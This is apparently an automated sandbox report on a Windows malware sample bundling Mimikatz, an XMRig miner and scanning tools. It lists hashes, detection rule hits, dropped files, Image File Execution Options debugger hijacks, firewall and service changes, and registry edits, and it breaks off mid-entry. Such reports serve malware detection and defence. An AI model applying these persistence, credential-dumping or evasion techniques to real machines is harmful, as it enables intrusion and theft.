Analysis
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max time kernel
150s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240215-en -
resource tags
arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system -
submitted
22/05/2024, 13:05
Behavioral task
behavioral1
Sample
2024-05-22_c9fce9b661ec62999b10335bc3f344e5_hacktools_icedid_mimikatz.exe
Resource
win7-20240215-en
General
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Target
2024-05-22_c9fce9b661ec62999b10335bc3f344e5_hacktools_icedid_mimikatz.exe
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Size
7.9MB
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MD5
c9fce9b661ec62999b10335bc3f344e5
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SHA1
b1110a9e0e1d726791da05f8e5478dd0cf058f0e
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SHA256
2ff2d8322c2db77f2db56fab72f64c09ed21d5d1f2ae3637d78b475597d7b547
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SHA512
91358cb533fc3344e17d88bd1a0b474763bc318ac780ebc58632ce3c20da5a2b3c15e9485cd709ed0ed230ab24e653ed5ca123a1c4c3e1931d4ae26812caf99c
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SSDEEP
196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1
Malware Config
Signatures
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Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2512 created 1028 2512 yrklftl.exe 17 -
Contacts a large (27765) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
resource yara_rule behavioral1/memory/768-138-0x000000013FFF0000-0x00000001400DE000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore behavioral1/memory/2512-167-0x0000000003040000-0x0000000003160000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 35 IoCs
resource yara_rule behavioral1/memory/1724-0-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/memory/1724-4-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/files/0x00310000000165f0-5.dat UPX behavioral1/memory/2568-9-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/files/0x0005000000019c21-133.dat UPX behavioral1/memory/768-136-0x000000013FFF0000-0x00000001400DE000-memory.dmp UPX behavioral1/memory/1484-134-0x0000000001040000-0x000000000112E000-memory.dmp UPX behavioral1/memory/768-138-0x000000013FFF0000-0x00000001400DE000-memory.dmp UPX behavioral1/files/0x000500000001a085-159.dat UPX behavioral1/memory/1792-163-0x000000013F270000-0x000000013F2CB000-memory.dmp UPX behavioral1/files/0x000500000001a060-166.dat UPX behavioral1/memory/2220-168-0x000000013FD00000-0x000000013FE20000-memory.dmp UPX behavioral1/memory/2512-167-0x0000000003040000-0x0000000003160000-memory.dmp UPX behavioral1/memory/1792-173-0x000000013F270000-0x000000013F2CB000-memory.dmp UPX behavioral1/memory/760-178-0x000000013F2A0000-0x000000013F2FB000-memory.dmp UPX behavioral1/memory/760-180-0x000000013F2A0000-0x000000013F2FB000-memory.dmp UPX behavioral1/memory/1452-185-0x000000013F720000-0x000000013F77B000-memory.dmp UPX behavioral1/memory/1452-187-0x000000013F720000-0x000000013F77B000-memory.dmp UPX behavioral1/memory/2024-192-0x000000013FD30000-0x000000013FD8B000-memory.dmp UPX behavioral1/memory/2024-193-0x000000013FD30000-0x000000013FD8B000-memory.dmp UPX behavioral1/memory/2220-194-0x000000013FD00000-0x000000013FE20000-memory.dmp UPX behavioral1/memory/920-199-0x000000013FA00000-0x000000013FA5B000-memory.dmp UPX behavioral1/memory/920-202-0x000000013FA00000-0x000000013FA5B000-memory.dmp UPX behavioral1/memory/2220-206-0x000000013FD00000-0x000000013FE20000-memory.dmp UPX behavioral1/memory/2220-207-0x000000013FD00000-0x000000013FE20000-memory.dmp UPX behavioral1/memory/2512-208-0x0000000001A40000-0x0000000001A9B000-memory.dmp UPX behavioral1/memory/2220-209-0x000000013FD00000-0x000000013FE20000-memory.dmp UPX behavioral1/memory/2220-215-0x000000013FD00000-0x000000013FE20000-memory.dmp UPX behavioral1/memory/2220-216-0x000000013FD00000-0x000000013FE20000-memory.dmp UPX behavioral1/memory/2220-232-0x000000013FD00000-0x000000013FE20000-memory.dmp UPX behavioral1/memory/2220-233-0x000000013FD00000-0x000000013FE20000-memory.dmp UPX behavioral1/memory/2220-236-0x000000013FD00000-0x000000013FE20000-memory.dmp UPX behavioral1/memory/2220-283-0x000000013FD00000-0x000000013FE20000-memory.dmp UPX behavioral1/memory/2220-290-0x000000013FD00000-0x000000013FE20000-memory.dmp UPX behavioral1/memory/2220-292-0x000000013FD00000-0x000000013FE20000-memory.dmp UPX -
XMRig Miner payload 12 IoCs
resource yara_rule behavioral1/memory/2220-194-0x000000013FD00000-0x000000013FE20000-memory.dmp xmrig behavioral1/memory/2220-206-0x000000013FD00000-0x000000013FE20000-memory.dmp xmrig behavioral1/memory/2220-207-0x000000013FD00000-0x000000013FE20000-memory.dmp xmrig behavioral1/memory/2220-209-0x000000013FD00000-0x000000013FE20000-memory.dmp xmrig behavioral1/memory/2220-215-0x000000013FD00000-0x000000013FE20000-memory.dmp xmrig behavioral1/memory/2220-216-0x000000013FD00000-0x000000013FE20000-memory.dmp xmrig behavioral1/memory/2220-232-0x000000013FD00000-0x000000013FE20000-memory.dmp xmrig behavioral1/memory/2220-233-0x000000013FD00000-0x000000013FE20000-memory.dmp xmrig behavioral1/memory/2220-236-0x000000013FD00000-0x000000013FE20000-memory.dmp xmrig behavioral1/memory/2220-283-0x000000013FD00000-0x000000013FE20000-memory.dmp xmrig behavioral1/memory/2220-290-0x000000013FD00000-0x000000013FE20000-memory.dmp xmrig behavioral1/memory/2220-292-0x000000013FD00000-0x000000013FE20000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 7 IoCs
resource yara_rule behavioral1/memory/1724-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/1724-4-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/files/0x00310000000165f0-5.dat mimikatz behavioral1/memory/2568-9-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/1484-135-0x0000000001040000-0x000000000112E000-memory.dmp mimikatz behavioral1/memory/768-138-0x000000013FFF0000-0x00000001400DE000-memory.dmp mimikatz behavioral1/memory/2512-167-0x0000000003040000-0x0000000003160000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts yrklftl.exe File opened for modification C:\Windows\system32\drivers\etc\hosts yrklftl.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 1584 netsh.exe 1932 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe -
Executes dropped EXE 16 IoCs
pid Process 2568 yrklftl.exe 2512 yrklftl.exe 1444 wpcap.exe 580 itcusielr.exe 768 vfshost.exe 324 xohudmc.exe 588 koaaya.exe 1792 vekeuubbl.exe 2220 mitzpm.exe 760 vekeuubbl.exe 1452 vekeuubbl.exe 2024 vekeuubbl.exe 920 vekeuubbl.exe 240 yrklftl.exe 1584 mqmqbrmul.exe 2332 yrklftl.exe -
Loads dropped DLL 22 IoCs
pid Process 2920 cmd.exe 2920 cmd.exe 2688 cmd.exe 1444 wpcap.exe 1444 wpcap.exe 1444 wpcap.exe 1444 wpcap.exe 1444 wpcap.exe 996 cmd.exe 580 itcusielr.exe 580 itcusielr.exe 1484 cmd.exe 1484 cmd.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 1548 cmd.exe -
resource yara_rule behavioral1/files/0x0005000000019c21-133.dat upx behavioral1/memory/768-136-0x000000013FFF0000-0x00000001400DE000-memory.dmp upx behavioral1/memory/768-138-0x000000013FFF0000-0x00000001400DE000-memory.dmp upx behavioral1/files/0x000500000001a085-159.dat upx behavioral1/memory/1792-163-0x000000013F270000-0x000000013F2CB000-memory.dmp upx behavioral1/files/0x000500000001a060-166.dat upx behavioral1/memory/2220-168-0x000000013FD00000-0x000000013FE20000-memory.dmp upx behavioral1/memory/2512-167-0x0000000003040000-0x0000000003160000-memory.dmp upx behavioral1/memory/1792-173-0x000000013F270000-0x000000013F2CB000-memory.dmp upx behavioral1/memory/760-178-0x000000013F2A0000-0x000000013F2FB000-memory.dmp upx behavioral1/memory/760-180-0x000000013F2A0000-0x000000013F2FB000-memory.dmp upx behavioral1/memory/1452-185-0x000000013F720000-0x000000013F77B000-memory.dmp upx behavioral1/memory/1452-187-0x000000013F720000-0x000000013F77B000-memory.dmp upx behavioral1/memory/2024-192-0x000000013FD30000-0x000000013FD8B000-memory.dmp upx behavioral1/memory/2024-193-0x000000013FD30000-0x000000013FD8B000-memory.dmp upx behavioral1/memory/2220-194-0x000000013FD00000-0x000000013FE20000-memory.dmp upx behavioral1/memory/2512-198-0x0000000001A40000-0x0000000001A9B000-memory.dmp upx behavioral1/memory/920-199-0x000000013FA00000-0x000000013FA5B000-memory.dmp upx behavioral1/memory/920-202-0x000000013FA00000-0x000000013FA5B000-memory.dmp upx behavioral1/memory/2220-206-0x000000013FD00000-0x000000013FE20000-memory.dmp upx behavioral1/memory/2220-207-0x000000013FD00000-0x000000013FE20000-memory.dmp upx behavioral1/memory/2512-208-0x0000000001A40000-0x0000000001A9B000-memory.dmp upx behavioral1/memory/2220-209-0x000000013FD00000-0x000000013FE20000-memory.dmp upx behavioral1/memory/2220-215-0x000000013FD00000-0x000000013FE20000-memory.dmp upx behavioral1/memory/2220-216-0x000000013FD00000-0x000000013FE20000-memory.dmp upx behavioral1/memory/2220-232-0x000000013FD00000-0x000000013FE20000-memory.dmp upx behavioral1/memory/2220-233-0x000000013FD00000-0x000000013FE20000-memory.dmp upx behavioral1/memory/2220-236-0x000000013FD00000-0x000000013FE20000-memory.dmp upx behavioral1/memory/2220-283-0x000000013FD00000-0x000000013FE20000-memory.dmp upx behavioral1/memory/2220-290-0x000000013FD00000-0x000000013FE20000-memory.dmp upx behavioral1/memory/2220-292-0x000000013FD00000-0x000000013FE20000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 21 ifconfig.me 22 ifconfig.me -
Creates a Windows Service
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Drops file in System32 directory 12 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2326C1864DE719190C396A6E8734D8B4 yrklftl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat yrklftl.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\koaaya.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 yrklftl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 yrklftl.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\koaaya.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2326C1864DE719190C396A6E8734D8B4 yrklftl.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\iibfpugis\fewectaiq\wpcap.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\zlib1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\vimpcsvc.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\schoedcl.xml yrklftl.exe File opened for modification C:\Windows\iibfpugis\Corporate\log.txt cmd.exe File created C:\Windows\gtgcurlb\yrklftl.exe 2024-05-22_c9fce9b661ec62999b10335bc3f344e5_hacktools_icedid_mimikatz.exe File created C:\Windows\iibfpugis\UnattendGC\specials\ssleay32.dll yrklftl.exe File created C:\Windows\gtgcurlb\schoedcl.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\Packet.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\libeay32.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\libxml2.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\schoedcl.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\svschost.xml yrklftl.exe File created C:\Windows\iibfpugis\upbdrjv\swrpwe.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\docmicfg.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\AppCapture64.dll yrklftl.exe File opened for modification C:\Windows\iibfpugis\fewectaiq\Result.txt mqmqbrmul.exe File created C:\Windows\iibfpugis\UnattendGC\specials\coli-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\trfo-2.dll yrklftl.exe File opened for modification C:\Windows\iibfpugis\fewectaiq\Packet.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\spoolsrv.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\yrklftl.exe 2024-05-22_c9fce9b661ec62999b10335bc3f344e5_hacktools_icedid_mimikatz.exe File created C:\Windows\iibfpugis\UnattendGC\specials\tucl-1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\spoolsrv.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\svschost.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\scan.bat yrklftl.exe File opened for modification C:\Windows\gtgcurlb\schoedcl.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\ip.txt yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\ucl.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\xdvl-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\spoolsrv.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\vimpcsvc.xml yrklftl.exe File created C:\Windows\iibfpugis\Corporate\vfshost.exe yrklftl.exe File created C:\Windows\ime\yrklftl.exe yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\itcusielr.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\crli-0.dll yrklftl.exe File created C:\Windows\gtgcurlb\svschost.xml yrklftl.exe File created C:\Windows\gtgcurlb\vimpcsvc.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\mqmqbrmul.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\cnli-1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\svschost.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\docmicfg.xml yrklftl.exe File created C:\Windows\gtgcurlb\spoolsrv.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\Shellcode.ini yrklftl.exe File created C:\Windows\iibfpugis\Corporate\mimidrv.sys yrklftl.exe File created C:\Windows\iibfpugis\Corporate\mimilib.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\tibe-2.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\svschost.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\schoedcl.exe yrklftl.exe File created C:\Windows\gtgcurlb\docmicfg.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\AppCapture32.dll yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\wpcap.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\posh-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\trch-1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\docmicfg.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\vimpcsvc.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\exma-1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\vimpcsvc.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\docmicfg.exe yrklftl.exe File opened for modification C:\Windows\gtgcurlb\spoolsrv.xml yrklftl.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2012 sc.exe 2032 sc.exe 2336 sc.exe 540 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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NSIS installer 3 IoCs
resource yara_rule behavioral1/files/0x00310000000165f0-5.dat nsis_installer_2 behavioral1/files/0x0009000000016cfd-15.dat nsis_installer_1 behavioral1/files/0x0009000000016cfd-15.dat nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1672 schtasks.exe 812 schtasks.exe 880 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{16C1A56F-9781-4B2A-8B95-1F4C2B54C1EE}\WpadDecision = "0" yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{16C1A56F-9781-4B2A-8B95-1F4C2B54C1EE}\WpadNetworkName = "Network 3" yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0057000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{16C1A56F-9781-4B2A-8B95-1F4C2B54C1EE} yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals vekeuubbl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\a2-21-f1-08-ae-ab\WpadDecisionTime = 30f4dec648acda01 yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\a2-21-f1-08-ae-ab\WpadDecision = "0" yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local 